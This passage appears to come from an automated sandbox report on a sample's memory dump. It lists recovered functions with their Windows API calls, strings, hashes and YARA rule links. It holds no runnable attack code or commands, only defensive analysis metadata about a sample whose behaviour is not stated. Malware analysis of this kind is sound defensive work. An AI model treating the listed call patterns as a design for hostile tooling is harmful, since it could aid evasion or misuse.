VariantClear.OLEAUT32(?), ref: 006F4753
VariantClear.OLEAUT32(?), ref: 006F47B0

Strings

Null Object assignment in FOR..IN loop, xrefs: 006F45D8, 006F4706, 006F47BE
Incorrect Object type in FOR..IN loop, xrefs: 006F472C

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Variant$ClearInit
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2610073882-625585964
Opcode ID: 29059ced25b887a2041a1d543708f771efd895ffd8a3f10f17ebca42ba6641a4
Instruction ID: ccafdae2eaa156d9244f70069079c10319f6425691eccd07fed930571519d92a
Opcode Fuzzy Hash: 29059ced25b887a2041a1d543708f771efd895ffd8a3f10f17ebca42ba6641a4
Instruction Fuzzy Hash: A3919171A00219ABDF24DFA5C884FEF7BBAEF45710F108559F605AB280DB709941CFA0

Function 006F4BAD Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 006D000E: CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,006CFF41,80070057,?,?,?,006D035E), ref: 006D002B
Part of subcall function 006D000E: ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,006CFF41,80070057,?,?), ref: 006D0046
Part of subcall function 006D000E: lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,006CFF41,80070057,?,?), ref: 006D0054
Part of subcall function 006D000E: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,006CFF41,80070057,?), ref: 006D0064

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,00000001,?,?), ref: 006F4C51
_wcslen.LIBCMT ref: 006F4D59
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,?), ref: 006F4DCF
CoTaskMemFree.OLE32(?), ref: 006F4DDA

Strings

NULL Pointer assignment, xrefs: 006F4E23, 006F4E52

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: FreeFromProgTask$CreateInitializeInstanceSecurity_wcslenlstrcmpi
String ID: NULL Pointer assignment
API String ID: 614568839-2785691316
Opcode ID: bc0f47f79175b9ea75e6bd5d76fc8e258bee3a4f75774733753b778523d4fa87
Instruction ID: ab5772f8b430c3d32abf7a4a95d494ba78dbc0cd82398f652e193c267042c56a
Opcode Fuzzy Hash: bc0f47f79175b9ea75e6bd5d76fc8e258bee3a4f75774733753b778523d4fa87
Instruction Fuzzy Hash: 12912971D0021DEFDF14DFA4C891AEEB7BABF48310F10816AE519A7251EB345A45CFA4

Function 007020FD Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00702183
GetMenuItemCount.USER32(00000000), ref: 007021B5
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 007021DD
_wcslen.LIBCMT ref: 00702213
GetMenuItemID.USER32(?,?), ref: 0070224D
GetSubMenu.USER32(?,?), ref: 0070225B

Part of subcall function 006D3A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 006D3A57
Part of subcall function 006D3A3D: GetCurrentThreadId.KERNEL32 ref: 006D3A5E
Part of subcall function 006D3A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,006D25B3), ref: 006D3A65

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 007022E3

Part of subcall function 006DE97B: Sleep.KERNEL32 ref: 006DE9F3

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
String ID:
API String ID: 4196846111-0
Opcode ID: a03d805c6989f6df60d3bf54ab2be087dffc1de697116ae212cdce579e1523fb
Instruction ID: 9c9a81992fed742fddc66f718af10f91ba5d456708ba18accb8b395fc1e3456c
Opcode Fuzzy Hash: a03d805c6989f6df60d3bf54ab2be087dffc1de697116ae212cdce579e1523fb
Instruction Fuzzy Hash: E8717376E00205EFCB51DFA4C845AAEB7F5FF48310F158559E816EB392DB38AD428B90

Function 006DAEBA Relevance: 10.7, APIs: 7, Instructions: 162windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 006DAEF9
GetKeyboardState.USER32(?), ref: 006DAF0E
SetKeyboardState.USER32(?), ref: 006DAF6F
PostMessageW.USER32(?,00000101,00000010,?), ref: 006DAF9D
PostMessageW.USER32(?,00000101,00000011,?), ref: 006DAFBC
PostMessageW.USER32(?,00000101,00000012,?), ref: 006DAFFD
PostMessageW.USER32(?,00000101,0000005B,?), ref: 006DB020

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 043af0cb1be4700f9fe427f778701e8547483125b6af02a8bf9c2a297f7fabc5
Instruction ID: 2b0489891ab7864c9d52ffbce37fd8ca7648c4fd1601cba0003b2506cd738a61
Opcode Fuzzy Hash: 043af0cb1be4700f9fe427f778701e8547483125b6af02a8bf9c2a297f7fabc5
Instruction Fuzzy Hash: 2A51E1A1E083D17DFB3643748845BFBBEAA5B06304F08858AE1D985AC2C399A9C8D751

Function 006DACDA Relevance: 10.7, APIs: 7, Instructions: 161windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 006DAD19
GetKeyboardState.USER32(?), ref: 006DAD2E
SetKeyboardState.USER32(?), ref: 006DAD8F
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 006DADBB
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 006DADD8
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 006DAE17
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 006DAE38

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: c54d3b21f73a98c052cdd55a403d0c1d1d514e8f54e158fe3b728a14135bdf79
Instruction ID: 218ac6f0fbc4ace1fb4c08258d0be01ac91a568c254b1f1694179c89aa322723
Opcode Fuzzy Hash: c54d3b21f73a98c052cdd55a403d0c1d1d514e8f54e158fe3b728a14135bdf79
Instruction Fuzzy Hash: 1651C4B1D087D53DFB3243A48C55BBA7FAB5F46300F08858AE1D546B82C694EC84E766

Function 006DCF00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 006DDDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,006DCF22,?), ref: 006DDDFD

Part of subcall function 006DDDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,006DCF22,?), ref: 006DDE16

lstrcmpiW.KERNEL32(?,?), ref: 006DCF45
MoveFileW.KERNEL32(?,?), ref: 006DCF7F
_wcslen.LIBCMT ref: 006DD005
_wcslen.LIBCMT ref: 006DD01B
SHFileOperationW.SHELL32(?), ref: 006DD061

Strings

\*.*, xrefs: 006DCFF3

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: FileFullNamePath_wcslen$MoveOperationlstrcmpi
String ID: \*.*
API String ID: 3164238972-1173974218
Opcode ID: 92344721878f63803becc69f6bcdaccfc38704fe8057f9680be457b4b9d56be1
Instruction ID: 97bdcb6724369ddac1b51a96835b40c2aa56c4e55b4509a83d3e5c7f9c7946f1
Opcode Fuzzy Hash: 92344721878f63803becc69f6bcdaccfc38704fe8057f9680be457b4b9d56be1
Instruction Fuzzy Hash: 9A414671D4521D9FDF52EBA4CD81EDDB7BAAF48340F1000EBE505EB241EA34A685CB54

Function 00702DFD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00702E1C
GetWindowLongW.USER32(?,000000F0), ref: 00702E4F
GetWindowLongW.USER32(?,000000F0), ref: 00702E84
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00702EB6
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00702EE0
GetWindowLongW.USER32(?,000000F0), ref: 00702EF1
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00702F0B

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 1f9e6a0e6c944f76ce761bca823f7a13b9e8992206747e358760c08bfcb1f029
Instruction ID: fdae566cf3ca6a9e678b6a3c1bbfed0c9f183b755405ae6570089816d347c564
Opcode Fuzzy Hash: 1f9e6a0e6c944f76ce761bca823f7a13b9e8992206747e358760c08bfcb1f029
Instruction Fuzzy Hash: 2E311436684140EFDB219F58DC8CF6537E4EB4A750F1542A5FA048B2F2CB79A8829B04

Function 006E04D2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 006E04F2
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 006E052E

Strings

nul, xrefs: 006E0567

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 144ea9f116a60e5478c443dea72d9b07f926be5e622533d9e817849a9e51efb5
Instruction ID: e14574a9fba22bd092472241783d43391e149fa9a6d9df02a37f0164bc7ac107
Opcode Fuzzy Hash: 144ea9f116a60e5478c443dea72d9b07f926be5e622533d9e817849a9e51efb5
Instruction Fuzzy Hash: D22171B5501345EFEB209F2ADD44A9A77B5BF45724F608A19F8A1D72E0D7B0D980CF20

Function 006E05A7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 006E05C6
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 006E0601

Strings

nul, xrefs: 006E0639

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 4c93b143a92ec3a732fac788a834d03dba4972aa0c5536c1f4251bd4c4c34d1f
Instruction ID: 12b89ac456c36b0bfe59ce2e0efb3d7852655cc4762fb695ec8371236c67dfbf
Opcode Fuzzy Hash: 4c93b143a92ec3a732fac788a834d03dba4972aa0c5536c1f4251bd4c4c34d1f
Instruction Fuzzy Hash: FA21A175501345EBEB208F6A9C04B9A77E5BF85720F204B19F8A1E32E0DBF098A1CB14

Function 007040AD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0067600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0067604C
Part of subcall function 0067600E: GetStockObject.GDI32(00000011), ref: 00676060
Part of subcall function 0067600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 0067606A

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00704112
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 0070411F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 0070412A
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00704139
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00704145

Strings

Msctls_Progress32, xrefs: 007040E3

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: e6825231cefd151e5008d72f1bca5bb07ee54e1551d64f1ab2b4a448b4458a75
Instruction ID: 7f5853f06ab22ebde8b485ac2a9c3db848af54572bb50d62699d60477ea7a71e
Opcode Fuzzy Hash: e6825231cefd151e5008d72f1bca5bb07ee54e1551d64f1ab2b4a448b4458a75
Instruction Fuzzy Hash: 2A11B6B215011DBEEF119F64CC85EE77F9DEF08798F004211B718A2090CB769C61DBA4

Function 006E096B Relevance: 10.5, APIs: 7, Instructions: 35synchronizationthreadCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(0106DDC0,0106DDC0), ref: 006E097B
EnterCriticalSection.KERNEL32(0106DDA0,00000000), ref: 006E098D
TerminateThread.KERNEL32(?,000001F6), ref: 006E099B
WaitForSingleObject.KERNEL32(?,000003E8), ref: 006E09A9
CloseHandle.KERNEL32(?), ref: 006E09B8
InterlockedExchange.KERNEL32(0106DDC0,000001F6), ref: 006E09C8
LeaveCriticalSection.KERNEL32(0106DDA0), ref: 006E09CF

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: d30b6f619768579eae440c1a6b2b0b7855e4de60e22e75754e32e9f3373d763b
Instruction ID: aeebc7be031bc00582d031b2e7e390bc6d61db46df9f2deccaafb9de2d0c33af
Opcode Fuzzy Hash: d30b6f619768579eae440c1a6b2b0b7855e4de60e22e75754e32e9f3373d763b
Instruction Fuzzy Hash: DDF0C932442A12EBE7525FA4EE89AD6BA29BF05702F406325F20294CA1CB799465CF94

Function 006A01B7 Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 006A00BA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 006A00D6
__allrem.LIBCMT ref: 006A00ED
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 006A010B
__allrem.LIBCMT ref: 006A0122
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 006A0140

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: c0aa086816e9a6b10c8594d9af3fc1b6618250ddc70608c46d0048b3e4fbc764
Instruction ID: 5828684f617a31139c901ac88bc7c8be95be4c906c107b71ee5772108c0cf703
Opcode Fuzzy Hash: c0aa086816e9a6b10c8594d9af3fc1b6618250ddc70608c46d0048b3e4fbc764
Instruction Fuzzy Hash: 2981C372A00B06ABEB20AF68CC41BAA73EAAF42324F25452EF551D6781E770DD418F54

Function 006A61FE Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,006982D9,006982D9,?,?,?,006A644F,00000001,00000001,8BE85006), ref: 006A6258
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,006A644F,00000001,00000001,8BE85006,?,?,?), ref: 006A62DE
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,8BE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 006A63D8
__freea.LIBCMT ref: 006A63E5

Part of subcall function 006A3820: RtlAllocateHeap.NTDLL(00000000,?,00741444,?,0068FDF5,?,?,0067A976,00000010,00741440,006713FC,?,006713C6,?,00671129), ref: 006A3852

__freea.LIBCMT ref: 006A63EE
__freea.LIBCMT ref: 006A6413

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 2092e0d47b353e31aa50229d1b38e31ea126135257bdc84f72e9705fe9c7585c
Instruction ID: 9b79756a7182eb07860e8c6135a8e6feb4c502ba6e6caa75dd6735b809b9a1cb
Opcode Fuzzy Hash: 2092e0d47b353e31aa50229d1b38e31ea126135257bdc84f72e9705fe9c7585c
Instruction Fuzzy Hash: 7151B3B2600216ABDF25AF64CC81EEF77ABEF46750F194629FC05D6240DB34DD41CA60

Function 006E07EF Relevance: 9.1, APIs: 6, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 006E080C
ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 006E0847
EnterCriticalSection.KERNEL32(?), ref: 006E0863
LeaveCriticalSection.KERNEL32(?), ref: 006E08DC
ReadFile.KERNEL32(?,?,0000FFFF,00000000,00000000), ref: 006E08F3
InterlockedExchange.KERNEL32(?,000001F6), ref: 006E0921

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection$EnterLeave
String ID:
API String ID: 3368777196-0
Opcode ID: de84e91809c18a83163ce28131cb2a37b8bdf59ffd8f2857433a53200bf77fcf
Instruction ID: 133d3a4e94090ddc0b104ac0dd7677956038edb6fa4abe4f83777ce3dcfd191a
Opcode Fuzzy Hash: de84e91809c18a83163ce28131cb2a37b8bdf59ffd8f2857433a53200bf77fcf
Instruction Fuzzy Hash: 37419E71900205EFEF15AF54DC85AAA777AFF44300F1081A9ED009E297DB74DE61CBA8

Function 007081DB Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,00000000,?,00000000,00000000,?,006CF3AB,00000000,?,?,00000000,?,006C682C,00000004,00000000,00000000), ref: 0070824C
EnableWindow.USER32(?,00000000), ref: 00708272
ShowWindow.USER32(FFFFFFFF,00000000), ref: 007082D1
ShowWindow.USER32(?,00000004), ref: 007082E5
EnableWindow.USER32(?,00000001), ref: 0070830B
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 0070832F

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 4cd0432fc5fec056690d91500166435605558b17626b459ed0fe539a17edcb87
Instruction ID: f0f73eca5965833b47b16edb397b114f9d06b5fef432b7e5df41a817c7c5d6cd
Opcode Fuzzy Hash: 4cd0432fc5fec056690d91500166435605558b17626b459ed0fe539a17edcb87
Instruction Fuzzy Hash: 3941A734601644EFDF61CF15C899BE87BE0FB4A714F1853A9E6484B2E2CB39A841CB56

Function 006D4C7D Relevance: 9.1, APIs: 6, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 006D4C95
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 006D4CB2
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 006D4CEA
_wcslen.LIBCMT ref: 006D4D08
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 006D4D10
_wcsstr.LIBVCRUNTIME ref: 006D4D1A

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

